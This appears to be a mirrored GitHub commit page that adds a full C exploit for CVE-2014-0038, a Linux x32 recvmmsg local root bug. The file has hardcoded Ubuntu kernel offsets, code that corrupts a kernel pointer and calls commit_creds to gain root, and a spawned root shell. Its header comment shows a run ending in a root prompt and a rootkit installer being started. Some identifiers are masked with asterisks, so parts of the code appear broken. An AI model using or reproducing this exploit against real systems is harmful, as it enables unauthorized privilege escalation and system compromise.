Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 0b8bbd4

Browse files
committed
linux-exp
1 parent 5489820 commit 0b8bbd4

File tree

1 file changed

+225
-0
lines changed

1 file changed

+225
-0
lines changed

2014/CVE-2014-0038/CVE-2014-0038.c

Lines changed: 225 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,225 @@
1+
/*
2+
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
3+
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
4+
CVE-2014-0038 / x32 ABI with recvmmsg
5+
by rebel @ irc.smashthestack.org
6+
-----------------------------------
7+
8+
takes about 13 minutes to run because timeout->tv_sec is decremented
9+
once per second and 0xff*3 is 765.
10+
11+
some things you could do while waiting:
12+
* read https://wiki.ubuntu.com/Security/Features and smirk a few times
13+
* brew some coffee
14+
* stare at the countdown giggly with anticipation
15+
16+
could probably whack the high bits of some pointer with nanoseconds,
17+
but that would require a bunch of nulls before the pointer and then
18+
reading an oops from dmesg which isn't that elegant.
19+
20+
&net_sysctl_root.permissions is nice because it has 16 trailing nullbytes
21+
22+
hardcoded offsets because I only saw this on ubuntu & kallsyms is protected
23+
anyway..
24+
25+
same principle will work on 32bit but I didn't really find any major
26+
distros shipping with CONFIG_X86_X32=y
27+
28+
user@ubuntu:~$ u**** -a
29+
Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
30+
user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg
31+
user@ubuntu:~$ ./recvmmsg
32+
byte 3 / 3.. ~0 secs left.
33+
w00p w00p!
34+
# id
35+
uid=0(root) gid=0(root) groups=0(root)
36+
# sh phalanx-2.6b-x86_64.sh
37+
unpacking..
38+
39+
:)=
40+
41+
greets to my homeboys kaliman, beist, capsl & all of #social
42+
43+
Sat Feb 1 22:15:19 CET 2014
44+
% rebel %
45+
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
46+
*/
47+
48+
#define _GNU_SOURCE
49+
#include <netinet/ip.h>
50+
#include <stdio.h>
51+
#include <stdlib.h>
52+
#include <string.h>
53+
#include <sys/socket.h>
54+
#include <unistd.h>
55+
#include <sys/syscall.h>
56+
#include <sys/mman.h>
57+
#include <sys/types.h>
58+
#include <sys/stat.h>
59+
#include <fcntl.h>
60+
#include <sys/uts****.h>
61+
62+
#define __X32_SYSCALL_BIT 0x40000000
63+
#undef __NR_recvmmsg
64+
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
65+
#define VLEN 1
66+
#define BUFSIZE 200
67+
68+
int port;
69+
70+
struct offset {
71+
char *kernel_version;
72+
unsigned long dest; // net_sysctl_root + 96
73+
unsigned long original_value; // net_ctl_permissions
74+
unsigned long prepare_kernel_cred;
75+
unsigned long commit_creds;
76+
};
77+
78+
struct offset offsets[] = {
79+
{"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
80+
{"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
81+
{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
82+
{NULL,0,0,0,0}
83+
};
84+
85+
void udp(int b) {
86+
int sockfd;
87+
struct sockaddr_in servaddr,cliaddr;
88+
int s = 0xff+1;
89+
90+
if(fork() == 0) {
91+
while(s > 0) {
92+
fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
93+
sleep(1);
94+
s--;
95+
fprintf(stderr,".");
96+
}
97+
98+
sockfd = socket(AF_INET,SOCK_DGRAM,0);
99+
bzero(&servaddr,sizeof(servaddr));
100+
servaddr.sin_family = AF_INET;
101+
servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
102+
servaddr.sin_port=htons(port);
103+
sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
104+
exit(0);
105+
}
106+
107+
}
108+
109+
void trigger() {
110+
open("/proc/sys/net/core/somaxconn",O_RDONLY);
111+
112+
if(getuid() != 0) {
113+
fprintf(stderr,"not root, ya blew it!\n");
114+
exit(-1);
115+
}
116+
117+
fprintf(stderr,"w00p w00p!\n");
118+
system("/bin/sh -i");
119+
}
120+
121+
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
122+
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
123+
_commit_creds commit_creds;
124+
_prepare_kernel_cred prepare_kernel_cred;
125+
126+
// thx bliss
127+
static int __attribute__((regparm(3)))
128+
getroot(void *head, void * table)
129+
{
130+
commit_creds(prepare_kernel_cred(0));
131+
return -1;
132+
}
133+
134+
void __attribute__((regparm(3)))
135+
trampoline()
136+
{
137+
asm("mov $getroot, %rax; call *%rax;");
138+
}
139+
140+
int main(void)
141+
{
142+
int sockfd, retval, i;
143+
struct sockaddr_in sa;
144+
struct mmsghdr msgs[VLEN];
145+
struct iovec iovecs[VLEN];
146+
char buf[BUFSIZE];
147+
long mmapped;
148+
struct uts**** u;
149+
struct offset *off = NULL;
150+
151+
u****(&u);
152+
153+
for(i=0;offsets[i].kernel_version != NULL;i++) {
154+
if(!strcmp(offsets[i].kernel_version,u.release)) {
155+
off = &offsets[i];
156+
break;
157+
}
158+
}
159+
160+
if(!off) {
161+
fprintf(stderr,"no offsets for this kernel version..\n");
162+
exit(-1);
163+
}
164+
165+
mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
166+
mmapped &= 0x000000ffffffffff;
167+
168+
srand(time(NULL));
169+
port = (rand() % 30000)+1500;
170+
171+
commit_creds = (_commit_creds)off->commit_creds;
172+
prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
173+
174+
mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
175+
176+
if(mmapped == -1) {
177+
perror("mmap()");
178+
exit(-1);
179+
}
180+
181+
memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
182+
183+
memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);
184+
185+
if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
186+
perror("mprotect()");
187+
exit(-1);
188+
}
189+
190+
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
191+
if (sockfd == -1) {
192+
perror("socket()");
193+
exit(-1);
194+
}
195+
196+
sa.sin_family = AF_INET;
197+
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
198+
sa.sin_port = htons(port);
199+
200+
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
201+
perror("bind()");
202+
exit(-1);
203+
}
204+
205+
memset(msgs, 0, sizeof(msgs));
206+
207+
iovecs[0].iov_**** = &buf;
208+
iovecs[0].iov_len = BUFSIZE;
209+
msgs[0].msg_hdr.msg_iov = &iovecs[0];
210+
msgs[0].msg_hdr.msg_iovlen = 1;
211+
212+
for(i=0;i < 3 ;i++) {
213+
udp(i);
214+
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
215+
if(!retval) {
216+
fprintf(stderr,"\nrecvmmsg() failed\n");
217+
}
218+
}
219+
220+
close(sockfd);
221+
222+
fprintf(stderr,"\n");
223+
224+
trigger();
225+
}

0 commit comments

Comments
 (0)